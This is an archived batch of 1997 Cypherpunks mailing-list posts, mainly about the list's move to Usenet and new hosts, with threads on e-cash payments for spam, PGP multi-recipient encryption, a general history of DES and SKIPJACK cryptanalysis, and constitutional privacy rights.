Message-ID: <19970218164804.AAA20314@kodakne.dm.net.lb>
MIME-Version: 1.0
Content-Type: text/plain


Get me off your list or else ..... . Get me out your fuckin list assholes.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Tue, 18 Feb 1997 11:52:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: article on "Wired News"
Message-ID: <199702181952.UAA03309@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

"http://www.wired.com/news/" -- headline: " Monday
	Homeless Cypherpunks Turn to Usenet 
	      The 1,400-strong group splinters into three alt.
		    subgroups and a mailing list - but they have
			  plans for staying united. "


"STAYING united"?  Ha ha ha ha!


That's funny!


Keep in touch, y'all.  :-)


Bryce

PGP sig follows




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Version: 2.6.2i
Comment: Auto-signed under Unix with 'BAP' Easy-PGP v1.1b2

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kMauwXlNdhI+VzNpBnQLkmtUdpGvTKbx2Il77fWrHJD+NM/AuEOY2wfdWJlimMZ5
zvRROoEJwG/dTS4BvsbQFqt62dZAiPH6
=dpG6
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 19 Feb 1997 07:02:37 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Re: alt.cypherpunks.ebonics
In-Reply-To: <3.0.1.32.19970218111658.006c4174@smtp1.abraxis.com>
Message-ID: <330A8A51.1B33@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Alec wrote:
> A friend, who, in the CP tradition requested to remain anonymous, and I were
> doing an informal analysis of those subjects/topics which over the past year
> generated the most discussion and, by implication, interest on the CP list.
> Since the list at that time was reportedly unmoderated, we felt some weight
> should be given to members' interests/desires as measured by their posts,
> regardless of the applicability to the list topic.
> With the exceptions of AP (oh so clearly way off-topic), list censorship (too
> tedious),  and remarks either questioning or affirming the
> sexuality/virility/femininity (or lack thereof ) of almost every CP
> subscriber, the topic which claimed the most bandwidth was Ebonics.
> You name it; just about every well-known c'punk jumped in to make some
> urbane statement on this, sadly, now dead and  ignored issue.
> Nevertheless, the bandwidth was there!

What does it mean "now dead and ignored"?  Today, the L.A. Times had
more major coverage of the issue and how the L.A. school board is
pushing ahead on Ebonics.  There were several examples of books given
in the article which used Ebonics (more-or-less) the their choice of
linquistic style.  I'd say it's just getting off the ground.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 18 Feb 1997 21:38:09 -0800 (PST)
To: "Timothy C. May" <ichudov@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702190537.VAA29617@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:06 AM 2/15/97 -0800, Timothy C. May wrote:
>At 10:19 AM -0600 2/15/97, Roy M. Silvernail wrote:
>
>>I much prefer the plan where a potential mail correspondant includes an
>>e-cash dollar directly cashable by me.  If I like the mail (and the
>>sender), I throw the dollar away and the sender goes on the approved
>>list.  If not, I keep the dollar, and the sender goes on the twit list.
>>Paper junk mail costs an advertiser more than $1 per piece, so they'd
>>still be getting a bargain.  And potentially, some receivers may throw
>>away the dollar and welcome the spam.
>
>The basic flaw in all of these schemes is that they are "top-down"
>solutions, imposed on the market for invented reasons.

There we must disagree.  Not that "top-down" imposed solutions won't 
generally work, I agree with that.  Rather, I suggest that there are valid 
and logical market-driven reasons that people, both buyers and sellers, 
would want to adopt the system I've proposed.

The benefits for the recipient of the payment-containing spam/advertising 
are obvious. He gets money.   Admittedly it is less obvious why a seller 
would want to pay for what he seemed to previously got for free, but that's 
more-or-less the case.   More in a moment.

[snip]

>However, just "making up" a fee--as Roy does here, and as Jim Bell and
>others have done before--is not a solution either. Nor does it stand any
>chance of being "enforced" (for a large number of reasons I won't get into
>here).
>--Tim May

Yes, the charge will be "enforced"...by the market!  Here's how.  "Spam" in 
other media is termed "advertising" or "junk mail."  And advertisers pay 
good money for it, precisely because that it will drum up enough business to 
not only pay for the ad rates, but also make some profit as well.  They're 
apparently correct, because those companies stay in business for years or 
decades.   Now, you'd probably imagine that businessmen would like to see 
the cost of their advertising drop.  Superficially, you'd be right, but in 
reality if the cost of advertising on TV or radio or newspapers is an 
essential element of the system. 

To understand why, imagine that the price of such advertising dropped by a 
factor of 100.  Suddenly, anybody doing ads could do ten times as many, for 
a tenth the total cost, or any such similar ratio.  Or thousands of 
companies whose products didn't previously profit enough for such ads would 
now be able to do them, as well.  The airwaves would be flooded. There 
wouldn't be enough time for entertainment, or news, or much of anything 
other than ads.  Worse, since total advertising revenue would probably be 
down by at least a factor of 25, even assuming "only" a 4x increase in ad 
volume, there would be far less money available for producing good shows.  
With fewer, worse shows, and many more ads, the average viewers would stay 
away in droves.   Pretty soon, the VALUE of that advertising to the 
advertiser would drop...to 1/100 of what it was before.

The newspapers would, likewise, be flooded with ads.  Even local newspapers 
would look like the Sunday New York Times.  And the current newspaper reader 
might as well stay away, because it would be a rare page that actually 
contained an article, and was not filled with ads.

Junk mail, if the TOTAL cost (paper, printing, labelling, mailing, etc) 
dropped by a factor of 100, our mailboxes would be filled with paper three 
times a day, maybe more often.

Well, actually this is not true.  There are other effects which would limit 
this progression.  For example, as ad space went up, people would watch/read 
less, so advertisers won't be motived to place ads even if they are free.  
If junk mail was free, nobody would have the time to read most of it, and it 
would go into the trash even faster than it does today.  In effect, if 
nothing else limited this advertising, our patience (or lack of it) would do 
so.  The _value_ of that advertising would drop to zero, along with its 
cost.  The end result, I argue, would be occasional low-value, sporadic 
advertising that "nobody" reads and everybody hates.

Sound familiar?  On the Internet, it's called, "spam."

Classic Internet-type spam is, essentially, a "zero-cost" ad.  Not _exactly_ 
zero cost, but pretty close, at least in terms of bare cash outlay.  What 
limits Internet-spam is that if it's overdone (or, some would argue, done at 
all!) an advertiser ends up pissing off the reader, making him even less 
likely to purchase the goods or services the spammer/advertiser was 
offering.   At that point, in effect the cost of that advertising is 
"infinite," because the outlay of zero money caused a _reduction_ in sales.  

An advertiser can't force a customer to buy, and he knows it.  But what he 
wants is the customer's time and attention, even if there's no guarantee of 
a sale.  Really, what he wants is to buy the attention of a potential 
customer, maybe only few a few seconds or a minute or so.  That's what 
advertising does.  But like an ad in a newspaper or a commercial on TV 
(which the target customer can ignore, mute, or walk away from) there is no 
guarantee of contact.  

So how, you'll ask, can the "free money with spam" deal be "enforced"?  
Well, it can't, if your definition of "enforced" includes merely the idea of 
some higher legal authority like a government or a trade organization or 
something.  But if you include the idea of the participants in the market, 
themselves, "enforcing" such a payment, it can.

Let's suppose, for simplicity's sake, that we are considering two types of 
advertisers.  One has a product that few people want.  Not NONE, just few.  
It's either poor quality, or too expensive (compared to its perceived 
value), or just not particularly interesting to the majority of the public.  
The other has a product that far more people want.  It's good, or is seen to 
be inexpensive, or is interesting.    Now, the former advertiser must put 
out far more ads to make a given buck than the latter.   The latter 
advertiser wants and needs the attention of any given potential customer 
more than the former, because the latter is far more likely to satisfy the 
customer's curiosity and desires and  be able to do business with him.  

In short, the purveyor of products that more people want (products which are 
more likely to interest the average potential advertisement reader...) can 
AFFORD to pay a larger amount of money to a given ad-recipient than can the 
other advertiser, the seller of junk.  Logic suggests that in the 
competition for "share of mind," the good-product seller would choose to 
give a larger amount of money to any given ad-recipient, in order to attract 
his attention and distinguish him from the other guy, if nothing else.  
After all, that's the one thing HE CAN DO that the other guy, statistically, 
cannot.  He can say, in effect, "My ad is more important and intersting to 
look at, and I can prove it by paying you more!"  He is also saying that he 
values you, as a customer, more than the guy who can only pay less.

Moreover, if I were a potential ad-reader, faced with the prospect of 
reading "N" ads where "N" is a larger number than I really want to see, 
presumably I would like to be able to pre-separate the ads into two groups, 
the ones I'm more likely to want to read and the other pile.  Even if I were 
to totally ignore the fact that I'm more enriched by ads which contain a 
larger payment (for example if that payment were to go (hypothetically) to a 
charity of my choice) I should STILL recognize that it is more likely that 
an interesting, useful ad would be able to afford a larger payment to 
potential recipients.  Therefore, logic suggests that absent any other 
guide, I should spend my limited time reading preferentially reading the ads 
where the advertiser was willing (and able) to make a larger payment.

Were a mail-reader program equipped with the ability to collect such 
payments and change the ranking of ads, it seems logical to believe that one 
of the most frequently-chosen options would be one which presented the 
highest-paying ads FIRST, then the others in decending order of value.

There are multiple levels of self-interest at work here, reinforcing 
themselves.  First, in the short term, advertisers who pay more make you, 
the customer, richer.  But more importantly, if the customer preferentially 
reads high-payment ads, over the medium-term  the advertisers will tend to 
get the idea and will raise their payments to whatever they feel they must 
to get your attention.  Further, in the long term giving more business to 
advertisers who pay customers more will tend to strengthen those 
advertisers, leading to their dominance in the industry.

In short, like Darwin's natural-selection concept, the idea of including 
payments with unsolicited ads will simply take over.  In fact, at some point 
the concept of sending unsolicited product or service advertising (at least 
on the Internet) WITHOUT including a gratuity will become as gauche as 
exiting a restaurant without leaving a tip.   At that point, the behavior of 
millions of potential customers will, in effort, ENFORCE the practice, 
because the vast majority of the public will simply ignore advertising by 
rude, un-generous people.







Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: PIONEER146@aol.com
Date: Tue, 18 Feb 1997 20:00:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Removal from newsgroup listing
Message-ID: <970218225859_-1574979273@emout14.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Please remove from the mailing list, please.  Thank you.  Pioneer146@aol.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 18 Feb 1997 21:07:03 -0800 (PST)
To: mehling@ibm.net (Michael Ehling)
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from
In-Reply-To: <3.0.1.32.19970218233557.006dff20@pop01.ca.us.ibm.net>
Message-ID: <199702190502.XAA26565@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Michael Ehling wrote:
> 
> At 10:31 AM 2/14/97 -0800, you wrote:
> <snip>
> >
> >Having been "on" the net for over 15 years -- and with experience
> >in both ends of the censorship/moderation problem  (I'm probably
> >the only Cypherpunks member to have had a book "banned in Boston"),
> >I'm sorry that a handful of sociopaths managed to destroy this
> >experiment in anarchy, but I suspect that this was inevitable.

The experiment in anarchy continues full speed.

Cypherpunks is not dead, although it will take the newly created
online communities to pick up steam. Cypherpunks mailing list simply
expanded and took another form.

Again, thanks to John Gilmore for running this list for years. His
job required a lot of dedication and effort and I am thankful to him
for what he did for it. cypherpunks@toad.com enhanced my understanding
of reality immensely.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 18 Feb 1997 23:27:08 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Re: Raph
In-Reply-To: <199702181541.HAA06032@toad.com>
Message-ID: <3.0.1.32.19970218230632.005c42c0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:22 AM 2/18/97 -0500, Alec wrote:
>I have found it convenient to retrieve Raph's list off c'punks, as opposed to
>fingering. I do hope this service to the community will continue on one forum
>or another.

You can of course also get it from the web page listed in the listing...

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 18 Feb 1997 23:27:09 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Cypherpunks Mailing List (Was: Re: When and where?)
In-Reply-To: <199702170211.SAA12998@toad.com>
Message-ID: <3.0.1.32.19970218232401.04735f88@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>Please post the date when this list will shift to Usenet if that is indeed to
>happen. I have not been able to sort out the facts (?) from the speculation,
>argument, and gas.

There are a variety of approaches being pursued in parallel.
You can subscribe to cypherpunks@Cyberpass.net by sending
mail to majordomo@Cyberpass.net with the usual syntax (send it a 
message body of "help" if you want details.)  It should gateway to
the other mail servers as they develop.  It's currently getting 
everything from cypherpunks@toad.com, which I've no unsubscribed to
to avoid getting duplicate copies of everything.

If you're one of those people getting one or more copies of the
cypherpunks mailing list and you don't want to, find out where your
mail is coming from and send mail to majordomo there....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 19 Feb 1997 00:42:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGP key compromise with multiple independent encryptions of same message?
In-Reply-To: <3307FA3F.7B0B@coe.woodbine.md.us>
Message-ID: <3.0.1.32.19970218233359.04736c50@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:27 AM 2/17/97 -0500, David Coe wrote:
>If I were to PGP-encrypt the same exact message to a number of
>different people, each copy with that person's public key, would
>I be making it easy (or easier) for one (or a group) of those
>recipients to compromise another recipient's private key?

If you're doing it as N separate messages, you're using 
N separate IDEA session keys; IDEA's strong enough that's no risk,
especially since they'll be using separate Initialization Vectors.
If you use the multiple-recipient capability, which uses one copy
of the message encrypted with one session key, and separate headers with
the session key encrypted with each public key.  If PGP didn't take 
precautions to prevent it, there are attacks on RSA which can be used
when you encrypt the same message with different RSA keys.  However,
PGP pads the session key with different random padding for each
session-key-encrypted-with-public-key header, so they're different messages,
so there's no risk there either.

So don't keep worrying about it; use whichever is more convenient.
(But it was worth worrying about once. :-)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Ehling <mehling@ibm.net>
Date: Tue, 18 Feb 1997 20:39:19 -0800 (PST)
To: Martin Minow <minow@apple.com>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <199702141459.GAA07338@toad.com>
Message-ID: <3.0.1.32.19970218233557.006dff20@pop01.ca.us.ibm.net>
MIME-Version: 1.0
Content-Type: text/plain


At 10:31 AM 2/14/97 -0800, you wrote:
<snip>
>
>Having been "on" the net for over 15 years -- and with experience
>in both ends of the censorship/moderation problem  (I'm probably
>the only Cypherpunks member to have had a book "banned in Boston"),
>I'm sorry that a handful of sociopaths managed to destroy this
>experiment in anarchy, but I suspect that this was inevitable.
>
>Martin Minow
>minow@apple.com
>

For the FWIW dept:
----------------------------------------------------------------------------
----------
Hmm...yes I agree.  Handful of sociopaths.  Inevitable?  Perhaps.  

On one hand anarchy, on the other control.  Free-wheeling vs. stifling.
Complete free speech vs. censorship.    

Oh, sure.  You can always say that one is more "right" than the other.  But
I believe everyone sees the validity of both sides...whether you agree with
them is another thing. So, we seem stuck between the two. And yet, they say
there is always a third option.  We just need some time to pull away and
see it.  

This "experiment in anarchy" may be coming to an end.  But I like your
choice of words: "experiment."  We've learned a great deal through this
one.  Perhaps next time we'll structure things differently.  Who knows?
Long after the last packet leaves cyhperpunks@toad.com, the spirit, the
ideas and ideals will remain.

Take good care,

Michael Ehling
mehling@ibm.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 18 Feb 1997 21:49:08 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: John Who? / WAS--Re: [Declan McCullagh: "A List Goes Down In Flames," from
In-Reply-To: <199702190502.XAA26565@manifold.algebra.com>
Message-ID: <330AB037.472A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Again, thanks to John Gilmore for running this list for years. His
> job required a lot of dedication and effort and I am thankful to him
> for what he did for it. cypherpunks@toad.com enhanced my understanding
> of reality immensely.

  I certainly hope that the lack of posts expressing gratitude to John
Gilmore for his maintenance of the CypherPunks list on toad.com for all
these years is merely because those who have benefitted from his efforts
are expressing their thanks via private email to him.
  Certainly, as Igor has indicated, he did not just sit on his butt
playing with Little Peter while 'the machine' ran itself and provided
the CypherPunks with a home for both rational discourse and mad
ramblings.
  There are quite a few people, ranging from long-term members to
passers-by who have had their horizons broadened by the list, and I
would hope that they are appreciative of the fact that the mechanics
of bits and bytes underlying the distribution of our grand soliloquys
came at the expense of a considerable portion of his own time and
energy.
  I know that I am.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Wed, 19 Feb 1997 00:06:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Still no sign of alt.cypherpunks heirarchy at Netcom
Message-ID: <v02140b03af306580bbb8@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


I'm tapping my toes, druming my fingers and waiting...

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Wed, 19 Feb 1997 00:09:28 -0800 (PST)
To: Martin Minow <minow@apple.com>
Subject: Re: Why Digital Video Disks are late to market
Message-ID: <v02140b02af30656eb77f@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


Has anyone seen discussions on how these protection mechanisms can be
circumvented?

>http://techweb.cmp.com/eet/news/97/942news/encryp.html
>
>To summarize, the Digital Video Disk standard contains an encryption
>standard for copyright and anti-piracy protection. however, "some U.S.
>PC and silicon vendors have just about abandoned hope of keeping to
>their revised launch schedules for DVD-enabled systems."
[snip]
>A solution may be in the offing within days. Some sources said late last
>week that Matsushita [who owns license rights] and key U.S. computer
>companies may resolve the software-licensing issues by the end of this
>week. The PC industry seeks amendments to the licensing-agreement language
>that would result in equivalent treatment of software- and hardware-based
>CSS decryption.
>
>... there apparently has been some speculation among the U.S. PC community
>that Matsushita may be stonewalling on the software-licensing issue so that
>it can establish its hardware-based decryption solution in the marketplace.
>

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: remove@structuremg.com
Date: Tue, 18 Feb 1997 21:25:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: 7.9 cpm long-distance
Message-ID: <Ready Aim Fire!_2/19/97 12:25:48 AM_remove@structuremg.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 18 Feb 1997 23:22:12 -0800 (PST)
To: tcmay@got.net (Timothy C. May)
Subject: Re: Constitution and a Right to Privacy
In-Reply-To: <v03007807af2e6e5ab1e4@[207.167.93.63]>
Message-ID: <199702190741.BAA03633@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. may wrote:
> At 1:22 PM -0600 2/17/97, snow wrote:
> >	My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government
> >can only, ONLY do what the constitution says it can.
> But why do you not object that the "right to free speech," "the right to
> keep and bear arms," and so on, are specifically enumeratedin the Bill of
> Rights? The privacy issue is that there is no such enumeration of a right
> to privacy in the Bill of Rights, though many think it to be implicit in
> some of the other enumerated rights, e.g,, the Fourth, and even in the
> First.

Amendment X-

(1791) The powers not delegated to the United States by the Constitution, nor 
prohibited by it to the states, are reserved to the states respectively, or to 
the people.

	As far as my reading goes, the Constitution (of which the BoR is a 
portion, IIR my "civics" (more like uncivics) classes properly) doesn't give 
the Feds the right to invade my privacy, and although not _explicit_, 

	Also:

Amendment IX

-(1791) The enumeration in the Constitution, of certain rights, shall not be 
construed to deny or disparage others retained by the people.
	
	Seems to indicate that even if it isn't listed, we should still 
have it. 

	Then:
Amendment IV-

(1791) The right of the people to be secure in their persons, houses, papers, 
and effects, against unreasonable searches and seizures, shall not be violated,
and no warrants shall issue, but upon probable cause, supported by oath or 
affirmation, and particularly describing the place to be searched, and the 
persons or things to be seized.

	Seems (to me, and IANAL) indicate that there is (at least in the minds
of the writers) a distinction between _public_ information which is fair game,
and public information, which is only fair game if there is enough public
information to justify crossing that line. 

> Constitutional issues are not easily discussed in short messages like this.
> Suffice it to say the issue of whether a "right to privacy" exists has been
> long discussed, most recently by Bork, Posner, and others (I skimmed the
> latest Posner book a while back, and liked his style).

	There is a big question in my mind whether things are so complicated 
that we need lawyers, or they are so complicated because we have lawyers. 

	It seems to me that the constitution is written rather simply, at least
prior to the 14th amendment. Congress Shall Make No Law... where is the 
confusion? 

	It is the fact that some people "know best" what is good for others,
and wish to enforce this "knowlege" upon the rest of us. 

	God save me from your over zelous followers.
> 
> The issue hit when abortion advocates argued that a "woman's right to
> privacy" allowed abortions. However, none of the enumerated rights made
> this obvious. Bork has opined that no right to privacy can be inferred from
> the Constitution.
> 
> (And I always thought the "woman's right to privacy" argument for abortion
> was flaky. Accepting such an argument, wouldn't infanticide be equally
> protected by a woman's right to privacy?)

	Or a man's. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 18 Feb 1997 23:38:38 -0800 (PST)
To: jimbell@pacifier.com (jim bell)
Subject: Re: alt.cypherpunks.ebonics
In-Reply-To: <199702190426.UAA17296@toad.com>
Message-ID: <199702190757.BAA03739@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Bell wrote:
> At 11:16 AM 2/18/97 -0500, Alec wrote:
> >With the exceptions of AP (oh so clearly way off-topic),
> Quite to the contrary, AP is NOT "oh so clearly way off-topic."   First AP, 
> as I've sketched it uses many of the 
> encryption/digital-signature/verification techniques which are often 
> discussed here and are essentially universally agreed as being on-topic.  

	Uhhh.... Jim?

	I think that Alec and friend were tweaking Igor. Think Sarcasm.

	Then again I could be wrong. I was once. 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 19 Feb 1997 04:07:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Any more like www.anonymizer.com ??
In-Reply-To: <3.0.32.19691231160000.006a1e14@aa.net>
Message-ID: <v03020922af3099283a67@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:29 pm -0500 on 2/18/97, ! Drive wrote:


> A proposal and prototype of a different anonymity mechanism can be found at:
>   http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html

And, of course, you can hear about the next generation from the same bunch,
on Monday morning at FC97:

    Unlinkable Serial Transactions
    Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA),
    Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA),
    David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA)

:-).

<http://www.offshore.com.ai/fc97/>


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 19 Feb 1997 07:11:05 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: Cypherpunks FAQ
In-Reply-To: <199702190047.SAA22544@manifold.algebra.com>
Message-ID: <330B17E8.17D4@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Toto wrote:
> >   The primal instinct of those with interest in 'control' is centered
> > around the need for 'total' control. The history of dictators in
> > general has shown more than a few who have allowed the sheep to escape
> > from their pens while they were fixated on chasing down the few 'black
> > sheep' that had strayed from their control.
> >   The CypherPunks list is a prime example of this. John and Sandy became
> > so fixated on their attack on Dr. Vulis (and subsequent 'dissenters')
> > that they eventually lost control of the other sheep in the fold who
> > were willing to go along with a 'moderate' abrogation of their right
> > to free speech by the censoring of only the 'black' sheep.

> Take no offense, but why nobody thought about an obviously more likely
> conclusion: that it is Dr. Vulis who was, say, hired by Detweiler to
> destroy cypherpunks. I personally find the above unlikely, but at least
> more likely than all other suggestions (which I think are an example
> of the delusion of grandeur).

Remember the movie Die Hard (#1)?  Remember what the wife said about
how her husband would drive people stark, raving mad?  I humbly
suggest by analogy that it was me, since that is my effect on a lot
of people, particularly (and especially) the John and Sandy types.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 19 Feb 1997 07:23:56 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Constitution and a Right to Privacy
In-Reply-To: <199702190741.BAA03633@smoke.suba.com>
Message-ID: <330B1AC7.9D2@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> Mr. may wrote:
> > At 1:22 PM -0600 2/17/97, snow wrote:
> Amendment IV-
> (1791) The right of the people to be secure in their persons, houses, papers,
> and effects, against unreasonable searches and seizures, shall not be violated,
> and no warrants shall issue, but upon probable cause, supported by oath or
> affirmation, and particularly describing the place to be searched, and the
> persons or things to be seized.
> It seems to me that the constitution is written rather simply, at least
> prior to the 14th amendment. Congress Shall Make No Law... where is the
> confusion?

Simple, but....  In a right to jury trial of peers, are the peers
the peers of the defendant or the peers of the victim?  Both the
Rodney King officers and the O.J. cases were perfect examples of
how, when you switch the peer groups, you reverse the decisions.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 20 Feb 1997 00:24:07 -0800 (PST)
To: Scott Auge <scotta@sauge.com>
Subject: Re: Cryptanalysis
In-Reply-To: <199702151726.JAA27016@toad.com>
Message-ID: <3.0.1.32.19970219081646.00628560@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:21 AM 2/15/97 -0500, you wrote:
>Was wondering if anyone could help me with short explainations on the
>cryptanalysis of SKIPJACK and DES.  If ya hit www.sauge.com/crypt you
>might get a better idea of what i'm trying to accomplish.
>
>Vague explanations are OK.  Dont want long drawn out explainations on
>the implementation of an attack (source code, proofs, statistical
>analysis and the like), just a short explaination of the attack.

Cryptanalysis of DES is a 25-year ongoing academic exercise, with
lots and lots of results.  It's easy to attack it in 2**55 tries,
because of symmetry, but that's a very large number :-)
Differential cryptanalysis, discovered by Biham and Shamir, 
shows that the NSA probably did help the design process when
working with IBM to turn IBM's 128-bit-key Lucifer system into DES,
and certainly didn't weaken it.  Linear cryptanalysis, discovered
more recently, shaves some more bits off the strength if you have
an extremely large amount of known plaintext.  

Brute-force attacks on DES (just try lots of keys until you win) 
used to be viewed as almost infeasible, but about 5-6 years ago there 
were a couple of designs for cracking machines that could do a 1-day crack
for $30-50M, and then Wiener's design for a $1M, 3.5-hour cracking machine
about 5 years ago.  Gate arrays have gotten denser, faster, and cheaper 
since then, and if you want to crack a _lot_ of keys (e.g. you're the NSA)
you can probably afford to burn ASICs to get even denser and faster.
The slow part of the attack _had_ been key scheduling, but recent work
by Peter Trei and others shows that you can do key scheduling very
efficiently for the brute-force keysearch problem by picking keys
in Gray Code order (since a one-bit change in key causes a simple
change in key-schedule - it's totally useless for normal encryption/
decryption, but it's a big win for brute-force cracks.)  
There may be a distributed Internet crack using that approach, 
though DES is still very inefficient on general-purpose computers and 
works better on bit-twiddliing chips.

SKIPJACK is a totally different game - the NSA keeps the algorithm secret,
and the only semi-outsiders who've seen it were a group of 5 people
including Dorothy Denning and Dave Maher who were allowed to do a study
when the NSA were trying to foist Clipper onto us.  They concluded that
SKIPJACK was reasonably strong (in their interim report), which gave
them good propaganda points, and never did the "final report" that
was supposed to address the entire Clipper chip (where most of the
technical weaknesses were) and the key-handling charade around it.
I don't remember if Matt Blaze's spoofing attack on the Clipper chip
came before or after their interim report - the checksums were too short
so you could impersonate another chip under reasonably wide conditions.
According to the data sheets for the Mykotronx Clipper Chip, SKIPJACK
is a Feistel-structured cypher with N rounds (I think it was 16 or 32.)
80 bits is enough that if anybody can discover the algorithm, 
it's too long to brute force today but starts looking pretty vulnerable
in 10-20 years, and of course the Feds would have your keys today,
so they can wiretap you, without needing legal authorization,
and you can probably bribe a Fed faster than you can brute-force the chip.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 19 Feb 1997 06:21:15 -0800 (PST)
To: Patrick.Mullen@GSC.GTE.Com (Mullen Patrick)
Subject: Re: alt.cypherpunks.*, cypherpunks@*.*
In-Reply-To: <c=US%a=_%p=GTE%l=NDHM06-970219140250Z-7332@ndhm06.ndhm.gtegsc.com>
Message-ID: <199702191417.IAA30635@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mullen, Patrick wrote:
> alt.cypherpunks.ebonics :-) Sorry, couldn't resist!
> 
> Did I miss any?  Name-mangle?

alt.cypherpunks.purebred-sovoks

> I also have listed the following alternate list hosts
> 
> cypherpunks@algebra.com
> cypherpunks@cyberpass.net
> cypherpunks@ssz.com
> 
> If anyone has a more complete list of hosts, I'd be happy
> for additions to the list.

Dave Hayes was going to create one:

Dave Hayes wrote:
Dave> To: freedom-knights@jetcafe.org, cypherpunks@toad.com
